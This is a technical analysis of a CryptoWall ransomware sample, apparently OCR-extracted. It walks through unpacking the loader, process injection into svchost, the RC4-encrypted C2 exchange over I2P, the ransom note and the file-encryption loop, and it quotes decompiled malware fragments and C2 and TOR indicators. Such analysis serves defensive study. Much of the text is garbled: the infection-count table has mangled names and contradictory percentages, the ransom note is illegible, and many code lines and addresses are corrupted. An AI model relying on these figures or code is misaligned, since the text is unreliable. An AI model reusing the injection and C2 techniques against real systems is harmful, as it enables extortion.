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A strain of a Crowti ransomware emerged, the variant known as CryptoWall, was spotted by
researchers in early 2013. Ransomware by nature is extraordinarily destructive but this one
in particular was a bit beyond that. Over the next 2 years, with over 5.25 billion files
encrypted and 1 million+ systems infected, this virus has definitely made its mark in the pool
of cyber weapons. Below you can find a list of the top ten infected countries:

Country nfected systemsPercentage of total
United States [253,521 40.6%
Jietnam 56,590 10.7%
United Kingdomi0,258 6.4%
Canada 32,579 0.2%
India 22,582 5.6%
Australia 19,562 5.1%
lhailand 13,718 2.2%
France 15,005 2.1%
Germany 12,626 2.1%
Turkey 9,488 1.9%

Source: Dell Secure Works

CryptoWall is distinct in that its campaign ID initially gets sent back to their C2 servers for
verification purposes. The motivation behind these ID’s are to track samples by the loader
vectors. The one we will be analyzing in our laboratory experiment has the crypti ID that
was first seen around February 26th, 2014. The infection vector is still unknown today but we
will be showing how to unpack the loader, and extract the main ransomware file. Some of the
contagions have been caused by Drive-by downloads, Cutwail/Upatre, Infinity/Goon exploit
kit, Magnitude exploit kit, Nuclear exploit kit/Pony Loader, and Gozi/Neverquest.
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Initial Analysis

We will start by providing the hash of the packed loader file:

=» Cryptowall git:(master) openssl md5 cryptowall.binMD5(cryptowall.bin)=
47363b94cee907e2b8926c1be61150c7

Running the file command on the bin executable, we can confirm that thisis a PE32
executable (GUI) Intel 80386, for MS Windows . Similar to the analysis we did on the
Cozy Bear’s Beacon Loader, we will be using IDA Pro as our flavor of disassembler tools.

Loading the packed executable into our control flow graph view, it becomes apparent fairly
quickly that this is packed loader code, and the real CryptoWall code is hiding somewhere
within.

ebp+ 1
f_402F3B[eax*4] ; switch jump

_4017DA: ' ' ;
bDisablePriorityBoost P , bDisablePriorityBoost
hThread € Thread

loc_401815 8 t 8 loc_401915

ax, hEvent eax, hEvent ax, hEvent

hThread ; hThread cx, hThread hThread
; ; bDisablePriorityBoost > ; bDi

hThread + hThread dx, hThread hThread

H j int dx ;4

Result eax, Result ax, Result ecx, Result
; imt i i imt

SetProcessPriorityBoost_0 SetProcessPriorityBoost_0 SetProcessPriorityBoost_0 SetProcessPrioy

eax, ProcessHandle eax, ProcessHandle ax, ProcessHandle eax, ProcessHa
ProcessHandle, eax ProcessHandle, eax ProcessHandle, eax ProcessHandle,

; jumptable 00401752 default case
dx, bDisablePriorityBoost

WinMain CFG Vie
Checking the resource section of this binary only shows that it has two valid entries; the first
one being a size of 91,740 bytes. Maybe we will get lucky and the hidden PE will be here?
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e R

Unfortunately not! This looks like some custom base64 encoded data that will hopefully get
used later somewhere down the line in our dissection of the virus. If we scroll down to the
end of winMain() you’ll notice a jump instruction that points to EAX . It will look something

like this in the decompiler view:

JUMPOUT (eax=decrypted_code_segment);

Unpacking Binary Loaders

At this point, we have to open up a debugger, and view this area of code as it is being
resolved dynamically. What you will want to do is a set a breakpoint at 0x00402dda , which
is the location of the jmp instruction. Once you hit this breakpoint after continuing
execution, you'll notice EAX now points to a new segment of code. Dumping EAX in the
disassembler will lead you to the 2nd stage loader. Use the debugger’s step into feature,
and our instruction pointer should be safely inside the decrypted loader area.
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near loc_302C9A9:
call  §+

loe_302CAd4

AGE]
7 this calls address at 0x001912R6

second_stage_loader endp

2nd Stage

Let’s go over what is happening at this stage of the malware. EBP+var_ EAGE gets loaded
effectively into EDX , EAX then holds the index count incrementer to follow the next few
bytes at data address 302C9AEh .

.data:0302CA46 mov bl, byte ptr (loc_302C9AE - 302C9AEh)[eax].data:0302CA48
add ebx, esi.data:0302CA4A  mov [edx], bl

All this snippet of code is doing is loading bytes from the address mentioned above and

storing itat bl (the lower 8 bits of EBX ). The byte from bl is then moved into the pointer

value of EDX . At the end of this routine EBP+var_EAGE will hold a valid address that gets
called as EAX (we can see the line highlighted in red in the image above). Stepping into
EAX will now bring us to the third stage of the loading process.

A lot is going on at this point; this function has a couple thousand lines of assembly to go
over, so at this point it's better we open the decompiler view to see what is happening. After
resolving some of the strings on the stack, there is some key information that starts to pop up
on the resource section we viewed earlier.

pLockRsrc = GetProcAddress(kernel32, &LockResource);pSizeofResource =
GetProcAddress(kernel32, &SizeofResource);pLoadResource = GetProcAddress(kernel32,
&LoadResource);pGetModuleHandle = GetProcAddress(kernel32,
&GetModuleHandleA) ; pFindRsrc = GetProcAddress(kernel32, &FindResourceA);pVirtualAlloc
= GetProcAddress(kernel32, &VirtualAlloc);

The malware is loading all functions dynamically that have to do with our resource section.
After the data gets loaded into memory, CryptoWall begins its custom base64 decoding
technique and then continues to a decryption method as seen below.
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Most of what is happening here can be explained in a decryptor | wrote that resolves the
shellcode from the resource section. If you head over to the python script, you'll notice the
custom base64 decoder is fairly simple. It will use a hardcoded charset, and check to see if
any of the bytes from the resource section match a byte from the charset; if it is a match, it
breaks from the loop. The next character gets subtracted by one and compared to a value of
zero, if greater, it will take that value and modulate by 256 ; that byte will then get stored in a
buffer array. It will perform this in a loop 89,268 times, as that is the size of the encoded
string inside the resource section.

Secondary to this, another decryption process starts on our recently decoded data from the
algorithm above. Looking at the python script again, we can see that hardcoded XOR keys

were extracted in the debugger if you set a breakpoint inside the decryption loop. All that is

happening here is each byte is getting decrypted by a rotating three byte key. Once the loop
is finished, the code will return the address of the decrypted contents, which essentially just
contains an address to another subroutine:

loop: buffer = *(base_addr + idx) - (*n A (&addr + OXFFE6DF5F + idx)); *
(base_addr + idx++) = buffer;..Fourth_Stage_Loader = base_addr;return
(&Fourth_Stage_Loader) (buffer, b64_decoded_str, al);

The base_addr transfers data to another variable that we named Fourth_Stage_Loader
which holds the address of the newest function, and can be used as a caller. If we dump the
address at call dword ptr gs:(loc_1920A1-1920A1h)[eax] into memory, you'll see
bytes that start with a generic x86 function prologue like 55 8b ec 81 . Dump this to afile,
and we can actually emulate this shellcode. In doing so, we don’t have to step through all
this code in the debugger; instead it will hopefully tell us how to unpack and get to the main
CryptoWall file.

Side note: the python script | wrote will automatically decode & decrypt the resource section,
and dump it to a bin file by running => python decrypt shellcode loader.py -e .

0x1000: push ebpOx1001: mov ebp, espOx1003: add esp, OxFffffoo4....

An easy way to see what this next stage in the malware’s loader is doing is by using one of
my favorite shellcode emulator tools called ScDbg. By using this tool, we can figure out
exactly where we need to set our breakpoints in order to get to the main ransomware file. We
are going to look for calls such as VvirtualAlloc , WriteProcessMemory ,
CreateProcessA , etc.
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C:\> scdbg.exe /s 3200000 /bp WriteProcessMemory /f dump.binLoaded 10587 bytes from
file extractions/pe_process_injector_dump.binBreakpoint 0 set at
7c802213Initialization Complete..Max Steps: 3200000Using base offset: 0x4010004011cf
GetProcAddress(LoadLibraryA)40165f GetProcAddress(VirtualAlloc)401c46
GetProcAddress(GetCurrentProcessId)401c52 GetCurrentProcessId() = 29...401d46
CloseHandle(18be)401f40 VirtualAlloc(base=0 , sz=20400) = 6000004021el
VirtualAllocEx(pid=1269, base=400000 , sz=25000) = 621000 /* Breakpoint 0 hit at:
7c802213 */ 4021fe WriteProcessMemory(pid=1269, base=400000 , buf=600000, sz=400,
written=12fd70) /* Breakpoint 0 hit at: 7c¢802213 */40224e
WriteProcessMemory(pid=1269, base=401000 , buf=600400, sz=16400, written=12fd70)

Interesting... it looks like the malware is allocating memory to its own process by using
GetCurrentProcessId() and allocating a large enough space to inject a PE file into itself.
After memory allocation, CryptoWall injects the payload file twice, once for the header, and
the second time for the rest of the file. If you set a breakpoint at writeProcessMemory , and
continue execution twice, you can dump the second argument ( ECX ) on the stack to see the
hidden PE file.

There is an Anti-VM trick along the way in the 3rd stage part of the loader process that needs
to be patched in order to hit the injection process, so | wrote an x32Dbg_python plugin to help
automate the patching and dumping operation.

Reversing the Main Crypto Binary

CryptoWall’s entry point starts off by dynamically resolving all imports to obtain all of NTDLL’s
offsets by using the process environment block.
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int ResolveImportsFromDLL()
int v1; // [esp+@h] p-10h]
int isSuccess; // +4h] [ebp-Ch]

int (__stdcall ‘NtnllocateV1rtualMemor\)(stgned int, int *, _DWORD, int *, signed int, signed int); // [esp+8h] [ebp-8h]
1_ba ] [esp+Ch] [ebp-4h]

dr = FlndDFfsetOFﬂll(ﬂ

e_addr,

VirtualMemory(-1, &function_ptr, @, &vl,

*function_ptr = SearchDLLForFunctions(ntdll_base_a
*(function_ptr + 4) = SearchDLLForFunctions(ntdll_b
*(function_ptr + 8) = SearchDLLForFunctions(ntdll_b
*(function_ptr + NtAllocateVirtualMemory;
*(function_ptr + SearchDLLForFunctions(ntdll
*(function_ptr + SearchDLLForFunctions(ntdll
*(function_ptr + SearchDLLForFunctions(ntdll
*(function_ptr + SearchDLLForFunctions(ntdll_ba
*(function_ptr + SearchDLLForFunctions(ntdll

It will then call a subroutlne that is responsible for using the base address of the loaded DLL
and uses many hardcoded DWORD addresses to locate hundreds of functions.

Side Note: If you would like to make your life a whole lot easier with resolving the function
names in each subroutine, | made a local type definition for IDA Pro over here. The resolving
import function table will look a lot cleaner than what you see above:

function_ptr->NtClose = SearchDLLForFunctions(ntdll_base_addr, @x180C@D23);
function_ptr->ldrLoadDLL = SearchDLLForFunctions(ntdll_base_addr, @x183679F2);
function_ptr->ldrGetProcAddress = SearchDLLForFunctions(ntdl1_base_addr, @xB64C13EE);
function_ptr->NtAllocateVirtualMemory = NtAllocateVirtualMemory;
function_ptr->ZwFreeVirtualMemory = SearchDLLForFunctions(ntdll_base_addr, @xF97A25D4);
function_ptr->ZwProtectVirtualMemory = SearchDLLForFunctions(ntdll_base_addr, @xD2654135);
function_ptr->NtQueryVirtualMemory = SearchDLLForFunctions(ntdll_base_addr, @xE8B3559);
function_ptr->NtWriteVirtualMemory = SearchDLLForFunctions(ntdll_base_addr, @xE9FASFEC);
function_ptr->NtReadVirtualMemory = SearchDLLForFunctions(ntdll_base_addr, @x918ED928);
function_ptr->ZwNow64ReadVirtualMemory64 = SearchDLLForFunctions(ntdll_base_addr, @xABAD92E3);
function_ptr->Rt1FreeHeap = SearchDLLForFunctions(ntdll_base_addr, @xAF11B(24);
function_ptr->memset = SearchDLLForFunctions(ntdll_base_addr, @x8463960A);
function_ptr->memcpy = SearchDLLForFunctions(ntdll_base_addr, @xD141AFD3);

After the function returns, the malware will proceed to generate a unique hash based on your
system information, the resulting string will be MD5 hashed => DESKTOP-
QR18J6QBOCBF8E8INtel64 Family 6 Model 70 Stepping 1, GenuineIntel . After
computing the hash, it will setup a handle to an existing named event object with the
specified desired access that will be called as
\\BaseNamedObjects\\C6B359277232C8E248AFD89C98E96D65 .

The main engine of the code starts a few routines after the malware checks for system
information, events, anti-vm, and running processes.

if ( !InjectShellcodelntoExplorer(other_ransomware_thread, 9) )

{
dword_4234FC

InjectShellcodeIntoSvcHost(ransomware_thread, 0);

}
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Most of the time the ransomware will successfully inject its main thread into svchost and
not explorer ; so let’s follow that trail. Since this is a 32-bit binary its going to attempt to
find svchost.exe inside of Syswow64 instead of System32 . After successfully locating
the full path, it will create a new thread using the RtlCreateUserThread() API call. Once
the thread is created, NtResumeThread() will be used on the process to start the

ransomware_thread code. Debugging these types of threads can be a little convoluted,
and setting breakpoints doesn’t always work.

.text:00416F40 ransomware_thread proc near .text:00416F40
start+8610.text:00416F40.text:00416F40 var_14 = dword ptr
-14h.text:00416F40 var_10 = dword ptr -10h.text:00416F40 var_C

= dword ptr -0OCh.text:00416F40 var_8 = dword ptr -8.text:00416F40
var_4 = dword ptr -4.text:00416F40.text:00416F40 000 push
ebp.text:00416F41 004 mov ebp, esp.text:00416F43 004

sub esp, 1l4h.text:00416F46 018 call ResolveImportsFromDLL. ..

Using x32Dbg, you can set the EIP to address 0x00416F40 since this thread is not
resource dependent on any of the other code that has been executed up until this point; this
thread even utilizes the ResolveImportsFromDLL function we saw in the beginning of the
program’s entry point... meaning, the forced instruction pointer jump will not damage the
integrity of the ransomware.

isHandleSet = SetSecurityHandle();if ( isHandleSet && SetupC2String() ){ v8 = 0;

ve = 0; IsSuccess = WhichProcessToInject(&v8, &v6); if ( IsSuccess ) {
IsSuccess = StartThreadFromProcess(-1, InjectedThread,
0, 0, 0); FreeVirtualMemory(v8); 13}

The thread will go through a series of configurations that involve setting up security
attributes, MD5 hashing the hostname of the infected system, and then searching to either
inject new code into svchost or explorer . In order to start a new thread, the function
WhichProcessToInject will query the registry path, and check permissions on what key
values the malware has access to. Once chosen, the InjectedThread process will
resume. Stepping into that thread, we can see the module size is fairly small.

.text:00412E80 InjectedThread proc near ; DATA .text:00412E80
.text:00412E80 000 push ebp.text:00412E81 004 mov
ebp, esp.text:00412E83 004 call MainInjectedThread.text:00412E88
004 push 0.text:00412E8A 008 call
ReturnFunctionName.text:00412E8F 008 mov eax,
[eax+0A4h].text:00412E95 008 call eax.text:00412E97 004

Xor eax, eax.text:00412E99 004 pop ebp.text:00412E9A 000
retn.text:00412E9A InjectedThread endp

At address 0x00412E83 , a subroutine gets called that will bring the malware to start the
next series of functions that involves the C2 server configuration callback, and the encryption
of files. After the thread is finished executing, EAX resolves a function at offset +0x0A4
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which will show RtlExitUserThread being invoked. Once we enter
MainInjectedThread , you'll notice the first function at 0x004011B40 is giving us the first
clue of how the files will be encrypted.

.text:00411D06 06C push OFOO00OOOh.text:00411DOB 070

push 1.text:00411DOD 074 lea edx,
[ebp+reg_crypt_path].text:00411D10 074 push edx.text:00411D11 078
push 0.text:00411D13 07C lea eax, [ebpt+var_8].text:00411D16
07C push eax.text:00411D17 080 call
ReturnFunctionName.text:00411D1C 080 mov ecx,

[eax+240h] .text:00411D22 080 call ecx ; CryptAcquireContext

CryptAcquireContext is used to acquire a handle to a particular key container within a
particular cryptographic service provider (CSP). In our case, the CSP being used is
Microsoft\Enhanced\Cryptographic\Provider\V1 , which coincides with algorithms
such as DES, HMAC, MD5, and RSA.

= 0;
if ( KeyFromCryptographicServiceProvider ENEanaa) )
{

OriginalKey = AllocateSetMemory(16);
if ( OriginalKey )
{
rsa_key = @;
rsa_key_size = 0Q;
AddComputerHashToRegistrySoftwarePath();
isRequestSuccess = WhichProcessToInject(&rsa_key, &rsa_key_size);
v37 = CreateTextForRansomwareNote(®, @, @);
if ( !isRequestSuccess || 1v37 )
{
remaining_c2_data = @;
while ( 1)
{

isRequestSuccess = SecondRequestToC2(&rsa_key, &rsa_key_size, &remaining_cZ_data);
if ( isRequestSuccess )

break;
sleep(@x1388u);

Once the CryptoContext is populated, the ransomware will use the MD5 hash created to
label the victim’s system information and register it as a key path as such —
software\\C6B359277232C8E248AFD89CI98E96D65 . The ransom note is processed by a
few steps. The first step is to generate the TOR addresses which end up resolving four
addresses: http[:]//torforall[.]com, http[:]//torman2[.]com,
http[:]//torwoman[.]com ,and http[:]//torroadsters[.]com . These DNS records
will be used later on to inject into the ransomware HTML file. Next, the note gets produced
by the use of the Win32 API function, Rt1lDecompressBuffer ,to decompress the data
using COMPRESSION_FORMAT_LZNT1 . The compressed ransom note can be found in the
.data section and consists of 0x52B8 bytes.
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compressed ransomeNote db
db
db
.data:0041AF93 db
db
db
db
db
db
db
db
db
db
db
db
db
db

Decompressing the note is kind of a mess in python as there is no built in function that is
able to do LZNT1 decompression. You can find the actual call at address 0x004087F3 .

.text:004087CF 024 lea ecx, [ebp+var_8].text:004087D2 024

push ecx.text:004087D3 028 mov edx, [ebp+arg_4].text:004087D6
028 push edx.text:004087D7 02C mov eax,
[ebp+arg_6].text:004087DA 02C push eax.text:004087DB 030

mov ecx, [ebp+var_18].text:004087DE 030 push ecx.text:004087DF
034 mov edx, [ebptvar_C].text:004087E2 034 push
edx.text:004087E3 038 movzx eax, [ebp+var_12].text:004087E7 038
push eax.text:004087E8 03C call

ReturnFunctionName.text:004087ED 03C mov ecx,
[eax+178h].text:004087F3 03C call ecx// Decompiled below(*
(Rt1lDecompressBuffer))(COMPRESSION_FORMAT_LZNT1,

uncompressed_buffer, UncompressedBufferSize,
CompressedBuffer, CompressedBufferSize,

FinalUncompressedSize) )

After the function call, uncompressed_buffer will be a data filled pointer to a caller-
allocated buffer (allocated from a paged or non-paged pool) that receives the decompressed
data from CompressedBuffer. This parameter is required and cannot be NULL, which is why
there is an NtAllocatevirtualMemory() call to this parameter before being passed to
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decompression. The script | wrote will grab the compressed data from the PE file, and run a
LZNT1 decompression algorithm then place the buffer in an HTML file. The resulting note will
appear on the victims system as such:

What happensd B your files?
Al ol your fles were protectad by 2 srong sncryplion with B34 20488 weing Cryployyall 3 0
More: information sbout the sncrypiion lbeys ssing ASA-2EE can be found here: hisp Ve wikipeda orgfeda T0A |oryplonyate

Whal deses this mean ¥
This means that the sinsciure snd data within your fles have been mrevocably changed you will nol be abke 10 work
with Tem, read them or 52 them i i the same Thing a3 losing them foraver, but with oo hedp, you can restone them

Hiowe died this happen?
Eapscially fod you, of oo 8800 wild pensrited the sscrel by pair ASA-2048 - publs and privils

Al pour Bles e ancrppled with the pubilc ey avhech his besn BEnaiemed b po COmpLies wWa the nbarred

Decrypiing of yous fles is only possible with the help of the privete key snd decrypt program, which B on cur secred server

What da | do?
Ao, if o o not lake the ReCelasty meaires K e speciied tme then te comdtions lor obtsining the privals ey will be changed

I yoes raally wilud your datl, T vl Rsppial you do Nt wasle waliabie Sma earching bor other Lolubord becsuss they 9o mol adal

VOB PO PElTUCEOn phelSs Vel ool Derson sl Raomes DDe T Are 4 ew GFEenT SOO0NSLLe DoNEEW] b your Pl Dk
15 SERVCE WEB 1%
2% SERVICE WEB %
LY SERVCE WEB_1%

4.5 SERMICE WEH 4%

T Pl e Piadchiarv e Skl e ara il available tollow thedd bl
1 Dermrdoad and natall b -brovwset bt Verere Srprafeet oo nems b e
1 Aher 8 ficiidiul insialaton rum e Dicwwied and vl Tor el sson

3 Typs in the address bar: " SERVI

4 Foliow the metruciions on the aiie

IMPORTAMNT IRFCIRMATION

Voui Personal PAGE 5% SERVIC

Wit Pasnanal P erirey TOR SERVICE

Yiour personal cosde (f you open B site (or TOR 's) dectly) %SCODES

Once the note is decompressed, the HTML fields will be populated with multiple TOR
addresses at subroutine sub_00414160() . The note is stored in memory then follows a few
more checks before the malware sends its first C2 POST request. Stepping into
SendRequestToC2 which is located at 0x00416A50 , the first thing we notice is a buffer
being allocated 60 bytes of memory.

.text:00416A77 018 push 3Ch.text:00416A79 01C call
AllocateSetMemory.text:00416A7E 01C add esp, 4.text:00416A81 018
mov [ebp+campaign_str], eax

All this information will eventually help us write a proper fake C2 server that will allow us to
communicate with the ransomware since CryptoWall’s 12P servers are no longer active.
Around address 0x004052E0 , which we labeled EncryptbData_SendToC2 will be
responsible for taking our generated campaign string and sending it as an initial ping.

rc4_encrypted_campaign_str = AllocateSetMemory(60);
if ( rc4_encrypted_campaign_str )

if ( GenerateCampaignIDAsString(7, rc4_encrypted_campaign_str + 9, rc4_encrypted_campaign_str + 10) )
{

ConcatString(rc4_encrypted_campaign_str + 9, rc4_encrypted_campaign_str + 10, 1);
if ( EncryptData_SendToC2(rc4_encrypted_campaign_str) )
{
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If you set a breakpoint at this function, you can see what the parameter contains:

{1|crypt1|C6B359277232C8E248AFD89CI98E96D65} . Once inside this module, you'll notice
three key functions; one responsible for byte swapping, a key scheduling algorithm, and the

other doing the actual encryption. The generated RC4 encryption will end up as a hash
string:

85b088216433863bdb490295d5bd997b35998c027ed600c24d05a55ceadch3deafdf4161e6781d2cd9aa24

Command & Control Communication

The malware sets itself up for a POST request to its I12P addresses that cycle between
proxyl-1-1.i2p & proxy2-2-2.i2p . The way this is done is by using the function at
0x0040B880 to generate a random seed based on epoch time, and use that to create a

string that ranges from 11 to 16 bytes. This PRNG (Pseudo-Random Number Generator)

string will be used as the POST request’s URI and as the key used in the byte swapping
function before the RC4 encryption.

loc_4052FC:

mov PP laintext kev)iP
push
push

call GeneratePlaintextKey
add esp,
mov [ebp ], eax

cmp [ebp 1,
jz loc_405548

=
eax,
ecx, eax,
edx, [ebp+EENNEEINEN)
byte ptr [edx+ecx],
[ebp+some key generated],
eax, [ebp+some key generated]
eax

ecx, [ebp+EETIETTNT)
ecx,

ecx

ByteSwap

esp,

eax, eax

loc_40553C

To give us an example, if our generated string results in tfuzxghéwf7mng , then after the
function call, that string will turn into 67ffghmngtuwxz . That string gets used for a 256-
generated key scheduling algorithm, and the POST request (I.E., http://proxyl-1-
1.i2p/67ffghmngtuwxz ). You can find the reverse engineered algorithm here.
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edx,
edx
eax,
eax
ecx,
ecx
edx,
eax,
eax
ecx,
edx,
edx

esp,

[ebp+data out],
[ebpt+size of hash],
[ebp+size of hash]

[ebp+data out]

[ebp+some_key generated]

N rc4 encrypted campaign strj

[edx+ ]

N rc4 encrypted campaign strj

[ecx+ ]

RC4_ EncryptCampaignID

eax, eax
loc_405530

The next part will take this byte swapped key, then RC4 encrypt some campaign information

that the malware has gathered, which unencrypted, will look like this:

{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1]||55.59.84.254}

This blob consists of the campaign ID, an MD$5 hashed unique computer identifier, a CUUID,
and the victims public IP address. After preparation of this campaign string, the ransomware
will begin to resolve the two I12P addresses. Once CryptoWall sends its first ping to the C2
server, the malware expects back an RC4 encrypted string, which will contain a public key
used to encrypt all the files on disk. The malware has the ability to decrypt this string using

the same RC4 algorithm from earlier, and will parse the info from this block:

{216|1pai7ycr7jxgkilp.onion|[pub_key]|US|[unique_id]} . The onion route is for the
ransom note, and is a personalized route that the victim can enter using a TOR browser. The

site most likely contains further instructions on how to pay the ransom.

Since the C2 servers are no longer active; in order to actually know what our fake C2 server
should send back to the malware; the parser logic had to be carefully dissected which is

located at 9x00405203 .
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[ebp+data out size],
eax, [ebp+data out_size]

eax
B R decrypted block from c2)
ecx

edx, [ebp+some key]

edx

eax, [ebp+server name]

ecx, [eax+ ]

ecx
edx, [ebptserver name]

eax, [edx+ 1

eax
PossibleDecryptOfC2Response
esp,

eax, eax

loc_4052B3

(s =)

loc_4052B3

[ebp+data out size],
loc_4052B3

ecx,
edx, ecx,

eax, [ebp

ecx, byte ptr [eax+edx]
ecx,

loc_4052A7

In this block, the malware decrypts the data it received from the C2 server. Once decrypted,
it stores the first byte in ECX and compares hex value to 0x7B (char: “{’ ). Tracing this
function call to the return value, the string returned back will remove brackets from start to
end. At memory address 0x00404E69 , a DWORD pointer at eax+2ch holds our newly
decrypted and somewhat parsed string, that will be checked for a length greater than 0. If the
buffer holds weight, we move on over to the final processing of this string routine at
0x00404B00O , that | dubbed Parsec2Data() . This function takes four parameters, char*
datain, int datain_size , char *dataout , int dataout_size . The first blob on
datain data gets parsed from the first 0x7C (char: ‘|’ ) and extracts the victim id.

victim_id = GetXBytesFromC2Data(decrypted_block_data_from_c2, &hex_7c,
&ptr_to_data_out);

ptr_to_data_out and EAX will now hold an ID number of 216 (we got that number since
we placed it there in our fake C2). The next block of code will finish the rest of the data:
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while ( victim_id ){ if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too,

8 * idx + 8) ) { CopyBlocksofMemory(victim_id,
&some_buffer_to_copy_too[2 * idx + 1],

&some_buffer_to_copy_too[2 * idx]); ++idx; if ( ptr_to_data_out )
{ for (1 =0; *(1i + ptr_to_data_out) == OX7C; ++i ) {

if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too,

8 * idx + 8) ) { ++v9; ++idx;
3 3 3 } victim_id = GetXBytesFromC2Data(@, &hex_7c_0,
&ptr_to_data_out); ++v5; ++v9;}

What’s happening here is that by every iteration of the character ‘|’ we grab the next
chunk of data and place it in memory into some type structure. The data jumps X amount of
times per loop until it reaches the last 0x7C byte. It will loop a total of four times. After this
function returns, dataout will contain a pointer in memory to this local type, which we
reversed to look like this:

struct _C2ResponseData{ int victim_id; char *onion_route; const char*
szPemPubKey; char country_code[2]; char unique_id[4];};

Shortly after, there is a check to make sure the victim id generated is no greater than Ox3E8
or that it is not an unsigned value.

value_of_index = CheckID(*(*parsed_data_out->victim_id));if ( value_of_index > Ox3ES8
| | value_of_index == OXFFFFFFFF ) value_of_index = 0x78;

| believe certain malware will often perform these checks throughout the parsing of the C2
response server to make sure the data being fed back is authentic. Over at 0x00404F35 ,
there is another check to see how many times it tried to reach the command server. If the
check reaches exactly 3 times then it will move to check if the onion route is valid; all
CryptoWall variants hardcode the first string index with ascii ‘1’ . If it does not start with
this number, then it will try to reach back again for a different payload. The other anti-tamper
check it makes for the onion route is a CRC32 hash against the payload, if the compressed
route does not equal 0x63680E35 , the malware will try one last time to compare against the
DWORD value of 0x30BBB749 . The variant has two hardcoded 256 byte arrays to which it
compares the encrypted values against. Brute-forcing can take a long time but is possible
with a python script that | made here. The checksum is quite simple, it will take each letter of
the site string and logical-XOR against an unsigned value:

tmp = ord(site[i])) A (ret_value & OxFfffff)

It will take the tmp value and use it as an index in the hardcoded byte array to perform
another logical-XOR against :

ret_value = bytes_array[tmp*4:(tmp*4)+4] N (OXFFFFFFFF >> 8)

The return value then gets inverted giving us a 4 byte hash to verify against. Now the
malware moves on over to the main thread responsible for encrypting the victims files at
0x00412988 . The first function call in this thread is from CryptAcquireContextW , and
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that will acquire a handle to a particular key container within a CSP. 16 bytes will then be
allocated to the stack using VirtualAlloc; which will be the buffer to the original key.

isDecompressed = CreateTextForRansomwareNote(0, 0, 0);if ( !'isRequestSuccess ||

lisDecompressed ){ remaining_c2_data = 0; while ( 1) { isRequestSuccess =
SecondRequestToC2(&rsa_key, &rsa_key_size,
&remaining_c2_data); if ( isRequestSuccess ) break;

sleep(0x1388u);}

Once the text for the ransom note is decompressed, CryptoWall will place this note as an
HTML, PNG, and TXT file inside of every directory the virus went through to encrypt
documents. After this point, it will go through another round of requests to the I12P C2 servers
to request another RSA 2048-bit public key. This key will be the one used for encryption.
This strain will do a number of particular hardcoded hash checks on the data it gets back
from the C2.

Decoding the Key

CryptoWall will use basic Win32 Crypto functions like CryptStringToBinaryA ,
CryptDecodeObjectEx , & CryptImportPublickKeyInfo to decode the RSA key returned.
Then it will import the public key information into the provider which then returns a handle of
the public key. After importing is finished, all stored data will go into a local type structure like
this:

struct _KeyData{ char *key; int key_size; BYTE *hash_data_1; BYTE
*hash_data_2;};// Gets used here at 0x00412B8Cif ( ImportKey_And_EncryptKey(
cryptContext, rsa_key, rsa_key_size, OriginalKey->key,
&0riginalKey->key_size, &0riginalKey->hash_data_1, &0riginalKey-
>hash_data_2) ){

The next actions the malware takes is pretty basic for ransomware.. it will loop through every
available drive, and use GetDriveTypeW to determine whether a disk drive is a removable,
fixed, CD-ROM, RAM disk, or network drive. In our case, the C drive is the only open drive
which falls under the category of DRIVE_FIXED . CryptoWall will only check if the drive is
CD-ROM because it will not try to spread in that case.

.text:00412C1B mov ecx, [ebp+driver_letter].text:00412C1E push
ecx.text:00412C1F call GetDriveTypeW. text:00412C2C cmp eax,
5.text:00412C2F jz skip_drive

EAX holds the integer value returned from the function call which represents the type of
drive associated with that number (5 == DRIVE_CDROM). You can find the documentation
here.

The exciting part is near as we are about to head over to where the malware duplicates the
key it retrieved from our fake C2 server at address 0x00412C7A . What is happening here is
pretty straight forward, and we can show in pseudo-code:
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if (OriginalKey) DuplicatedKey = HeapAlloc(16) if (DuplicatedKey)
CryptDuplicateKey(OriginalKey, 0, 0, DuplicatedKey) memcpy (DuplicatedKey,
OriginalKey, OrignalKey_size) CryptDestroyKey(OriginalKey)

Essentially CryptDuplicateKey is making an exact copy of a key and the state of the key.
The DuplicatedKey variable ends up becoming a struct as we can see after the function
call at 0x00412C7A , it gets used to store volume information about the drive its currently
infecting.

GetVolumeInformation(driver_letter, DuplicatedKey + 20);if (
MoveDriverlLetterToDupKeyStruct(driver_letter, (DuplicatedKey + 16), 0) {

That is why 24 bytes was used to allocate to the heap when creating this variable instead of
16. Now we can define our struct from what we know so far:

struct _DupKey{ const char *key; int key_size; DWORD unknownl; DWORD
unknown2; char *drive_letter; LPDWORD 1pVolumeSerialNumber; DWORD unknown3;};//
Now our code looks cleaner from aboveGetVolumeInformation(driver_letter,
&DuplicatedKey->1pVolumeSerialNumber);if (
MoveDriverLetterToDupKeyStruct(driver_letter, &DuplicatedKey->drive_letter, 0) {

Encrypting of Files

After the malware is finished storing all pertinent information regarding how and where it will
do its encryption, CryptoWall moves forward to the main encryption loop at 6x00416780 .
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Encryption Loop Control Flow Graph

As we can see, the control flow graph is fairly long in this subroutine, but nothing out of the
ordinary when it comes to ransomware. A lot has to be done before encrypting files. At the
start of this function, we see an immediate call to HeapAlloc to allocate 260 bytes of
memory. We can automatically assume this will be used to store the file’s absolute path, as
Windows OS only allows a max of 260 bytes. Upon success, there is also an allocation of
virtual memory with a size of 592 bytes that will later be used as the file buffer contents. Then
the APl call FindFirstFilew uses this newly allocated buffer to store the first filename
found on system. The pseudo-code below will explain the flow:

lpFileName = Allocate260BlockOfMemory(); // HeapAllocif ( lpFileName ){ (*(wcscpy +
292))(1lpFileName, driver_letter); . lpFindFileData = AllocateSetMemory(592); //
VirtualAlloc if ( lpFindFileData ) { hFile = (*(FindFirstFileW + 504))
(1lpFileName, lpFindFileData); if ( hFile != OXFFFFFFFF ) { v29 = 0;
do { // Continue down to further file actions

Before the malware opens up the first victim file, it needs to make sure the file and file
extension themselves are not part of their hardcoded blacklist of bytes. It does this check
using a simple CRC-32 hash check. It will take the filename, and extension; compress it
down to a DWORD, then compare that DWORD to a list of bytes that live in the .data
section.
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.data:00420F90 | compressed_extensions dd

db
db
db
db

To see how the algorithm works, | reversed it to python code, and wrote my own file checker.

=»> python tor_site_checksum_finder.py --check-file-ext "dI11"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data

[-] '.dl1l" is not a valid file extension for Cryptowall

-*» python tor_site_checksum_finder.py --check-file-ext "py"
[!] Searching PE sections for compressed .data
[!] Searching PE sections for compressed extension .data

[+] '.py' is a valid file extension for Cryptowall

Now we can easily tell what type of files CryptoWall will attack. Obvious extensions like
.d11, .exe,and .sys isa very common file type for ransomware to avoid.
